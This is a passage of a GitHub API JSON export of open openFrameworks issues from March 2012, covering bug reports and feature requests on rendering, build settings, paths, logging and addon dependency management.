in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","number":1117,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3825582,"closed_at":null,"created_at":"2012-03-27T11:48:00Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"37aca214d4875cd90af9d67072c82642","url":"https://api.github.com/users/vade","login":"vade","id":65011,"avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVBO updateIndexData incorrect buffer type.","html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","comments":5,"assignee":null,"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","number":1116,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D"}],"id":3813852,"closed_at":null,"created_at":"2012-03-26T18:26:05Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","url":"https://api.github.com/users/colormotor","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"optimization level in xcode projects","html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","comments":3,"assignee":null,"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","number":1115,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","labels":[{"color":"993e7a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode"}],"id":3812318,"closed_at":null,"created_at":"2012-03-26T17:05:14Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","url":"https://api.github.com/users/colormotor","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"macros in ofArduino","html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","comments":1,"assignee":{"gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","url":"https://api.github.com/users/joshuajnoble","login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","number":1114,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":3812275,"closed_at":null,"created_at":"2012-03-26T17:02:21Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","url":"https://api.github.com/users/OlexandrStepanov","login":"OlexandrStepanov","id":971079,"avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Issue with QtKitMovieGrabberExample in apps/devapps","html_url":"https://github.com/openframeworks/openFrameworks/issues/1112","comments":9,"assignee":null,"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","number":1112,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":3807459,"closed_at":null,"created_at":"2012-03-26T12:11:44Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"add a simple regex function like ofSplitString()","html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","comments":1,"assignee":null,"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}","number":1110,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":3799872,"closed_at":null,"created_at":"2012-03-25T18:56:37Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"mac paths don't seem right until you call \"ofToDataPath()\"","html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","comments":3,"assignee":null,"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","number":1109,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"993e7a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"65a300","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":3799653,"closed_at":null,"created_at":"2012-03-25T18:18:28Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","url":"https://api.github.com/users/roymacdonald","login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"easyCam weird behavior when target changed","html_url":"https://github.com/openframeworks/openFrameworks/issues/1108","comments":7,"assignee":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","number":1108,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D"}],"id":3795495,"closed_at":null,"created_at":"2012-03-25T00:01:54Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"PG feature request: Generate makefile-only projects","html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","comments":1,"assignee":null,"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","number":1103,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","labels":[{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"444444","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator"}],"id":3754055,"closed_at":null,"created_at":"2012-03-21T21:43:34Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"feature / bug - #pragma omp critical(ofLog)","html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","comments":3,"assignee":null,"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","number":1098,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3710293,"closed_at":null,"created_at":"2012-03-19T14:04:51Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","comments":2,"assignee":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","number":1075,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3662214,"closed_at":null,"created_at":"2012-03-15T07:54:55Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"c1ec5161b69b4a990436deafb1170d64","url":"https://api.github.com/users/manuelgeoffray","login":"manuelgeoffray","id":808090,"avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Alpha movies in GStreamer","html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","comments":6,"assignee":null,"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","number":1070,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3647640,"closed_at":null,"created_at":"2012-03-14T13:02:41Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"390ea42c23c2c383f973abdafa24bb07","url":"https://api.github.com/users/gabrielstuff","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Continuous integration","html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","comments":10,"assignee":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 ","number":1068,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3631618,"closed_at":null,"created_at":"2012-03-13T15:49:23Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"390ea42c23c2c383f973abdafa24bb07","url":"https://api.github.com/users/gabrielstuff","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Automatic installer + dependencies handler","html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","comments":7,"assignee":null,"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","number":1063,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3627067,"closed_at":null,"created_at":"2012-03-13T10:44:57Z"},{"milestone":{"state":"open","description":"","title":"0072 